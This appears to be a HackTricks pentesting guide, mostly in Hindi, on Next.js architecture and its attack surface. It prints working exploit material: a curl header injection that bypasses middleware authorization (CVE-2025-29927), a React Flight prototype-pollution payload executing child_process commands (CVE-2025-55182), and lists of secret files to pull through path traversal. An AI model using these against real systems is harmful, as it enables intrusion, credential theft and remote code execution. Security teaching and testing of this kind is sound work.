NextJS

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।

Next.js एप्लिकेशन की सामान्य वास्तुकला

सामान्य फ़ाइल संरचना

एक मानक Next.js प्रोजेक्ट एक विशिष्ट फ़ाइल और डायरेक्टरी संरचना का पालन करता है जो इसके फीचर्स जैसे रूटिंग, API endpoints और स्टैटिक एसेट मैनेजमेंट को सक्षम बनाती है। यहाँ एक सामान्य लेआउट है:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

मुख्य डायरेक्टरी और फ़ाइलें

• public/: इमेज़, फ़ॉन्ट्स और अन्य स्टेटिक फ़ाइलों जैसे static assets को होस्ट करता है। यहाँ की फ़ाइलें रूट पाथ (/) पर एक्सेस की जा सकती हैं।
• app/: आपके application के pages, layouts, components, और API routes के लिए केंद्रीय डायरेक्टरी। यह App Router पैटर्न को अपनाता है, जो उन्नत routing फीचर्स और server-client component पृथक्करण को सक्षम बनाता है।
• app/layout.tsx: आपके एप्लिकेशन के लिए रूट लेआउट को परिभाषित करता है, सभी पेजों को लपेटता है और हैडर, फुटर, और नेविगेशन बार जैसी सुसंगत UI एलिमेंट्स प्रदान करता है।
• app/page.tsx: रूट / के लिए एंट्री प्वाइंट के रूप में कार्य करता है, और होम पेज रेंडर करता है।
• app/[route]/page.tsx: स्टैटिक और डायनामिक रूट्स को हैंडल करता है। app/ के भीतर हर फ़ोल्डर एक route segment का प्रतिनिधित्व करता है, और उन फ़ोल्डरों के भीतर page.tsx उस रूट के component के अनुरूप होता है।
• app/api/: API routes रखता है, जिससे आप HTTP रिक्वेस्ट हैंडल करने वाले serverless functions बना सकते हैं। ये रूट पारंपरिक pages/api डायरेक्टरी की जगह लेते हैं।
• app/components/: पुन: उपयोग किए जाने योग्य React components के लिए स्थान, जिन्हें विभिन्न पेजों और लेआउट्स में इस्तेमाल किया जा सकता है।
• app/styles/: ग्लोबल CSS फाइलें और component-scoped styling के लिए CSS Modules रखता है।
• app/utils/: यूटिलिटी फ़ंक्शंस, हेल्पर मॉड्यूल और अन्य non-UI लॉजिक शामिल करता है जो पूरी एप्लिकेशन में साझा किए जा सकते हैं।
• .env.local: लोकल डेवलपमेंट एनवायरनमेंट के लिए विशेष environment variables को स्टोर करता है। ये वैरिएबल्स वर्शन कंट्रोल में किते नहीं जाते।
• next.config.js: Next.js के व्यवहार को कस्टमाइज़ करता है, जिसमें webpack कॉन्फ़िगरेशन, environment variables, और security सेटिंग्स शामिल हैं।
• tsconfig.json: प्रोजेक्ट के लिए TypeScript सेटिंग्स को कॉन्फ़िगर करता है, जिससे टाइप चेकिंग और अन्य TypeScript फीचर्स सक्षम होते हैं।
• package.json: प्रोजेक्ट की dependencies, scripts, और मेटाडेटा का प्रबंधन करता है।
• README.md: प्रोजेक्ट के बारे में डॉ큐मेंटेशन और जानकारी देता है, जिसमें सेटअप निर्देश, उपयोग गाइडलाइन, और अन्य प्रासंगिक विवरण शामिल हैं।
• yarn.lock / package-lock.json: प्रोजेक्ट की dependencies को विशिष्ट वर्ज़न्स पर लॉक करते हैं, ताकि विभिन्न एनवायरनमेंट्स में इंस्टॉलेशन्स लगातार रहें।

Next.js में क्लाइंट-साइड

app डायरेक्टरी में फ़ाइल-आधारित राउटिंग

app डायरेक्टरी नवीनतम Next.js वर्ज़न्स में राउटिंग की आधारशिला है। यह फाइलसिस्टम का उपयोग करके रूट्स को परिभाषित करती है, जिससे रूट मैनेजमेंट सहज और स्केलेबल बन जाता है।

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

संभावित क्लाइंट-साइड कमजोरियाँ

हालाँकि Next.js एक सुरक्षित आधार प्रदान करता है, अनुचित कोडिंग प्रथाएँ कमजोरियाँ ला सकती हैं। प्रमुख क्लाइंट-साइड कमजोरियों में शामिल हैं:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Recon: _buildManifest के जरिए static export route खोज

जब nextExport/autoExport true होते हैं (static export), Next.js HTML में buildId को उजागर करता है और /_next/static/<buildId>/_buildManifest.js पर build manifest सर्व करता है। वहाँ sortedPages array और route→chunk mapping हर prerendered पेज की सूची brute force किए बिना सूचीबद्ध करते हैं।

• root response से buildId प्राप्त करें (आम तौर पर नीचे छपा होता है) या उन <script> tags से जो /_next/static/<buildId>/... लोड कर रहे हैं।
• manifest fetch करें और routes निकालें:

build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'

• खोजे गए paths (उदाहरण के लिए /docs, /docs/content/examples, /signin) का उपयोग auth testing और endpoint discovery के लिए करें।

सर्वर-साइड in Next.js

सर्वर-साइड रेंडरिंग (SSR)

हर अनुरोध पर पृष्ठ सर्वर पर रेंडर होते हैं, जिससे उपयोगकर्ता को पूरी तरह रेंडर किया गया HTML मिलता है। इस मामले में अनुरोधों को प्रोसेस करने के लिए आपको अपना custom server बनाना चाहिए।

Use Cases:

• बार-बार बदलने वाली dynamic content।
• SEO optimization, क्योंकि search engines पूरी तरह रेंडर किए गए पृष्ठ को crawl कर सकते हैं।

Implementation:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

स्टैटिक साइट जेनरेशन (SSG)

पेज़ बिल्ड समय पर पूर्व-रेंडर किए जाते हैं, जिससे लोड समय तेज़ होता है और सर्वर का लोड कम होता है।

उपयोग के मामले:

• ऐसी सामग्री जो अक्सर बदलती नहीं है।
• ब्लॉग, दस्तावेज़ीकरण, मार्केटिंग पेज।

कार्यान्वयन:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

सर्वरलेस फ़ंक्शन्स (API Routes)

Next.js सर्वरलेस फ़ंक्शन्स के रूप में API endpoints बनाने की अनुमति देता है। ये फ़ंक्शन्स ऑन-डिमांड चलते हैं और इनके लिए किसी समर्पित सर्वर की आवश्यकता नहीं होती।

उपयोग के मामले:

• फ़ॉर्म सबमिशन संभालना।
• डेटाबेस के साथ इंटरैक्ट करना।
• डेटा प्रोसेस करना या तीसरे पक्ष के APIs के साथ एकीकृत करना।

क्रियान्वयन:

Next.js 13 में app directory के परिचय के साथ, routing और API हैंडलिंग अधिक लचीला और शक्तिशाली हो गया है। यह आधुनिक दृष्टिकोण file-based routing सिस्टम के साथ निकटता से मेल खाता है लेकिन अतिरिक्त क्षमताएँ प्रदान करता है, जिनमें server और client components के लिए समर्थन शामिल है।

बेसिक रूट हैंडलर

फ़ाइल संरचना:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

कार्यान्वयन:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

स्पष्टीकरण:

• Location: API routes app/api/ डायरेक्टरी के अंतर्गत रखे जाते हैं।
• File Naming: प्रत्येक API endpoint अपना स्वयं का फ़ोल्डर में रहता है जिसमें एक route.js या route.ts फ़ाइल होती है।
• Exported Functions: एकल default export के बजाय, विशिष्ट HTTP method फ़ंक्शंस (जैसे, GET, POST) को एक्सपोर्ट किया जाता है।
• Response Handling: Response constructor का उपयोग करके responses लौटाएँ, जिससे headers और status codes पर अधिक नियंत्रण मिलता है।

How to handle other paths and methods:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

CORS कॉन्फ़िगरेशन

नियंत्रित करें कि किन origins को आपके API routes तक पहुँचने की अनुमति है, ताकि Cross-Origin Resource Sharing (CORS) कमजोरियों को कम किया जा सके।

खराब कॉन्फ़िगरेशन उदाहरण:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

ध्यान दें कि CORS को सभी API routes में भी कॉन्फ़िगर किया जा सकता है middleware.ts फ़ाइल के अंदर:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

समस्या:

• Access-Control-Allow-Origin: '*': किसी भी वेबसाइट को API तक पहुँच की अनुमति देता है, जिससे दुर्भावनापूर्ण साइटें बिना प्रतिबंध के आपके API के साथ इंटरैक्ट कर सकती हैं।
• सभी मेथड की अनुमति: सभी मेथड्स की अनुमति देने से हमलावरों को अनचाही क्रियाएँ करने का मौका मिल सकता है।

हमलावर इसका कैसे फायदा उठाते हैं:

हमलावर दुर्भावनापूर्ण वेबसाइटें बना सकते हैं जो आपके API को अनुरोध भेजती हैं, और संभावित रूप से डेटा प्राप्ति, डेटा में संशोधन, या प्रमाणीकृत उपयोगकर्ताओं की ओर से अनचाही कार्रवाइयों को ट्रिगर करने जैसी सुविधाओं का दुरुपयोग कर सकती हैं।

CORS - Misconfigurations & Bypass

क्लाइंट साइड में सर्वर कोड का खुलासा

यह आसान हो सकता है कि सर्वर में इस्तेमाल किया गया कोड गलती से क्लाइंट साइड में एक्सपोज़ और इस्तेमाल किया जाने वाला कोड भी बन जाए, किसी कोड फाइल को क्लाइंट साइड में कभी एक्सपोज़ न होने देने का सबसे अच्छा तरीका है कि फ़ाइल की शुरुआत में यह import इस्तेमाल किया जाए:

import "server-only"

प्रमुख फाइलें और उनकी भूमिकाएँ

middleware.ts / middleware.js

Location: प्रोजेक्ट की रूट या src/ के भीतर।

Purpose: request प्रोसेस होने से पहले server-side serverless function में कोड चलाता है, जिससे authentication, redirects, या responses संशोधित करने जैसे कार्य संभव होते हैं।

Execution Flow:

1. आने वाला अनुरोध: middleware अनुरोध को इंटरसेप्ट करता है।
2. प्रसंस्करण: अनुरोध के आधार पर ऑपरेशन करता है (उदा., authentication की जाँच)।
3. प्रतिक्रिया संशोधन: response को बदल सकता है या अगले handler को नियंत्रण सौंप सकता है।

उपयोग के उदाहरण:

• अनधिकृत उपयोगकर्ताओं को redirect करना।
• कस्टम headers जोड़ना।
• अनुरोधों का लॉग रखना।

नमूना कॉन्फ़िगरेशन:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

यदि authorization middleware में लागू है, प्रभावित Next.js रिलीज़ (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) को x-middleware-subrequest header इंजेक्ट करके बाइपास किया जा सकता है। फ्रेमवर्क middleware recursion को स्किप कर देगा और सुरक्षित पेज वापस करेगा।

• बेसलाइन व्यवहार आमतौर पर /api/auth/signin जैसे login route पर 307 redirect होता है।
• एक लंबा x-middleware-subrequest मान भेजें (middleware को दोहराकर MAX_RECURSION_DEPTH तक पहुँचने के लिए) ताकि response 200 में बदल जाए:

curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

• क्योंकि authenticated pages कई subresources खींचते हैं, हर request में header जोड़ें (उदा., Burp Match/Replace में an empty match string) ताकि assets redirect न हों।

next.config.js

स्थान: प्रोजेक्ट की root।

उद्देश्य: Next.js के व्यवहार को configure करता है, फीचर्स को enable/disable करना, webpack configurations को customize करना, environment variables सेट करना, और कई security features configure करना।

मुख्य सुरक्षा कॉन्फ़िगरेशन:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js and pages/_document.js

pages/_app.js

Purpose: डिफ़ॉल्ट App component को ओवरराइड करता है, जिससे global state, styles, और layout components की अनुमति मिलती है।

Use Cases:

• global CSS लागू करना।
• layout wrappers जोड़ना।
• state management लाइब्रेरीज़ को इंटीग्रेट करना।

Example:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

उद्देश्य: डिफ़ॉल्ट Document को ओवरराइड करता है, जिससे HTML और Body टैग्स को कस्टमाइज़ किया जा सकता है।

उपयोग के मामले:

• <html> या <body> टैग्स में संशोधन।
• meta टैग्स या custom स्क्रिप्ट जोड़ना।
• थर्ड-पार्टी fonts को इंटीग्रेट करना।

उदाहरण:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

कस्टम सर्वर (वैकल्पिक)

उद्देश्य: जबकि Next.js एक बिल्ट-इन सर्वर के साथ आता है, आप कस्टम रूटिंग या मौजूदा बैकएंड सर्विसेज़ के साथ इंटीग्रेशन जैसे उन्नत उपयोग मामलों के लिए एक कस्टम सर्वर बना सकते हैं।

नोट: कस्टम सर्वर का उपयोग डिप्लॉयमेंट विकल्पों को सीमित कर सकता है, खासकर उन प्लेटफ़ॉर्म्स पर जैसे Vercel जो Next.js के बिल्ट-इन सर्वर के लिए अनुकूलित हैं।

उदाहरण:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

अतिरिक्त वास्तुकला और सुरक्षा विचार

पर्यावरण वेरिएबल्स और कॉन्फ़िगरेशन

उद्देश्य: संवेदनशील जानकारी और कॉन्फ़िगरेशन सेटिंग्स को कोडबेस के बाहर प्रबंधित करना।

सर्वोत्तम प्रथाएँ:

• .env फ़ाइलों का उपयोग करें: API keys जैसे वेरिएबल्स को .env.local में स्टोर करें (संस्करण नियंत्रण में शामिल नहीं)।
• वेरिएबल्स को सुरक्षित रूप से एक्सेस करें: process.env.VARIABLE_NAME का उपयोग करके पर्यावरण वेरिएबल्स तक पहुँचें।
• कभी भी क्लाइंट पर संवेदनशील जानकारी उजागर न करें: सुनिश्चित करें कि संवेदनशील वेरिएबल्स केवल सर्वर-साइड पर ही उपयोग किए जाएँ।

उदाहरण:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

नोट: वेरिएबल्स को केवल सर्वर-साइड तक सीमित रखने के लिए, उन्हें env ऑब्जेक्ट से हटा दें या क्लाइंट एक्सपोज़र के लिए उन्हें NEXT_PUBLIC_ से प्रिफिक्स करें।

LFI/download endpoints के माध्यम से लक्षित करने योग्य उपयोगी सर्वर आर्टिफैक्ट्स

यदि आप किसी Next.js ऐप में path traversal या download API पाते हैं, तो उन compiled artifacts को लक्षित करें जो server-side secrets और auth logic को leak करते हैं:

• .env / .env.local session secrets और provider credentials के लिए।
• .next/routes-manifest.json और .next/build-manifest.json पूर्ण route सूची के लिए।
• .next/server/pages/api/auth/[...nextauth].js compiled NextAuth configuration पुनः प्राप्त करने के लिए (अक्सर इसमें fallback passwords होते हैं जब process.env मान सेट नहीं होते)।
• next.config.js / next.config.mjs rewrites, redirects और middleware routing की समीक्षा के लिए।

प्रमाणीकरण और प्राधिकरण

पद्धति:

• Session-Based Authentication: user sessions को manage करने के लिए cookies का उपयोग करें।
• Token-Based Authentication: stateless authentication के लिए JWTs लागू करें।
• Third-Party Providers: OAuth providers (e.g., Google, GitHub) के साथ next-auth जैसी लाइब्रेरी इस्तेमाल करके integrate करें।

सुरक्षा अभ्यास:

• Secure Cookies: HttpOnly, Secure, और SameSite attributes सेट करें।
• Password Hashing: पासवर्ड को स्टोर करने से पहले हमेशा hash करें।
• Input Validation: इनपुट को validate और sanitize करके injection attacks से बचाएँ।

उदाहरण:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

प्रदर्शन अनुकूलन

रणनीतियाँ:

• Image Optimization: स्वचालित इमेज ऑप्टिमाइज़ेशन के लिए Next.js के next/image component का उपयोग करें.
• Code Splitting: Code को विभाजित करने और प्रारंभिक लोड समय घटाने के लिए dynamic imports का उपयोग करें.
• Caching: API responses और static assets के लिए caching रणनीतियाँ लागू करें.
• Lazy Loading: केवल जब आवश्यक हो तब components या assets को लोड करें.

उदाहरण:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

आधुनिक Next.js “Server Actions” का उपयोग करता है जो सर्वर पर चलते हैं पर client से invoke किए जाते हैं। production में ये invocations opaque होते हैं: सभी POSTs एक सामान्य endpoint पर आते हैं और उन्हें एक build-specific hash के जरिए अलग किया जाता है जो Next-Action header में भेजा जाता है। उदाहरण:

POST /
Next-Action: a9f8e2b4c7d1...

जब productionBrowserSourceMaps सक्षम होता है, minified JS chunks में createServerReference(...) कॉल्स होते हैं जो पर्याप्त संरचना leak करती हैं (साथ ही संबंधित source maps) ताकि action hash और मूल function name के बीच mapping पुनः प्राप्त किया जा सके। इससे आप Next-Action में देखी गई hashes को deleteUserAccount() या exportFinancialData() जैसे ठोस लक्ष्यों में अनुवाद कर सकते हैं।

निकालने का तरीका (regex on minified JS + optional source maps)

डाउनलोड किए गए JS chunks में createServerReference खोजें और hash तथा function/source symbol निकालें। दो उपयोगी पैटर्न:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• समूह 1: server action hash (40+ hex chars)
• समूह 2: symbol या path जो source map मौजूद होने पर original function में resolve किया जा सकता है

यदि script किसी source map का ऐलान करता है (trailer comment //# sourceMappingURL=<...>.map), तो उसे fetch करें और symbol/path को original function नाम में resolve करें।

व्यावहारिक वर्कफ़्लो

• ब्राउज़ करते समय निष्क्रिय खोज: Next-Action headers और JS chunk URLs वाले requests को capture करें।
• संदर्भित JS bundles और साथ के *.map files को fetch करें (यदि मौजूद हों)।
• ऊपर दिए गए regex को चलाकर hash↔name dictionary बनाएं।
• डिक्शनरी का उपयोग testing लक्षित करने के लिए करें:
  • Name-driven triage (e.g., transferFunds, exportFinancialData).
  • function name के आधार पर builds में coverage ट्रैक करें (hashes rotate across builds).

छुपी हुई actions का अभ्यास (template-based request)

proxy में देखे गए एक वैध POST को template के रूप में लें और Next-Action value को बदलकर किसी अन्य खोजे गए action को target करें:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Repeater में replay करें और उन पहुँच से बाहर Server Actions की authorization, input validation और business logic का परीक्षण करें।

Burp automation

• NextjsServerActionAnalyzer (Burp extension) ऊपर बताई गई प्रक्रियाओं को Burp में ऑटोमेट करता है:
• JS chunks के लिए proxy history को mines करता है, createServerReference(...) एंट्रीज़ निकालता है, और जब उपलब्ध हों तो source maps को parse करता है।
• एक searchable hash↔function-name dictionary बनाए रखता है और function name के आधार पर builds के बीच duplicates हटाता है।
• एक वैध template POST locate कर सकता है और target action के hash को swap करके ready-to-send Repeater tab खोल सकता है।
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Notes and limitations

• productionBrowserSourceMaps को production में enabled होना चाहिए ताकि bundles/source maps से names recover किए जा सकें।
• Function-name disclosure अपने आप में vulnerability नहीं है; इसे discovery में मार्गदर्शन करने और प्रत्येक action की authorization टेस्ट करने के लिए उपयोग करें।

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments जो Server Actions को react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) पर expose करते हैं, उनमें Flight chunk deserialization के दौरान एक critical server-side prototype pollution मौजूद है। Flight payload के अंदर $ references को craft करके attacker polluted prototypes से arbitrary JavaScript execution और फिर Node.js process के अंदर OS command execution तक pivot कर सकता है।

NodeJS - proto & prototype Pollution

Flight chunks में हमला श्रृंखला

1. Prototype pollution primitive: Set "then": "$1:__proto__:then" ताकि resolver Object.prototype पर एक then function लिखे। इसके बाद प्रोसेस किए गए किसी भी plain object से एक thenable बन जाता है, जिससे attacker RSC internals के अंदर async control flow को प्रभावित कर सके।
2. Rebinding to the global Function constructor: _response._formData.get को "$1:constructor:constructor" की ओर निर्देशित करें। Resolution के दौरान, object.constructor → Object, और Object.constructor → Function, इसलिए भविष्य में _formData.get() के कॉल वास्तव में Function(...) को execute करेंगे।
3. Code execution via _prefix: _response._prefix में JavaScript source रखें। जब polluted _formData.get invoked होगा, framework Function(_prefix)(...) evaluate करेगा, इसलिए injected JS require('child_process').exec() या कोई अन्य Node primitive चला सकता है।

Payload का ढांचा

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

React Server Function एक्सपोज़र का मैपिंग

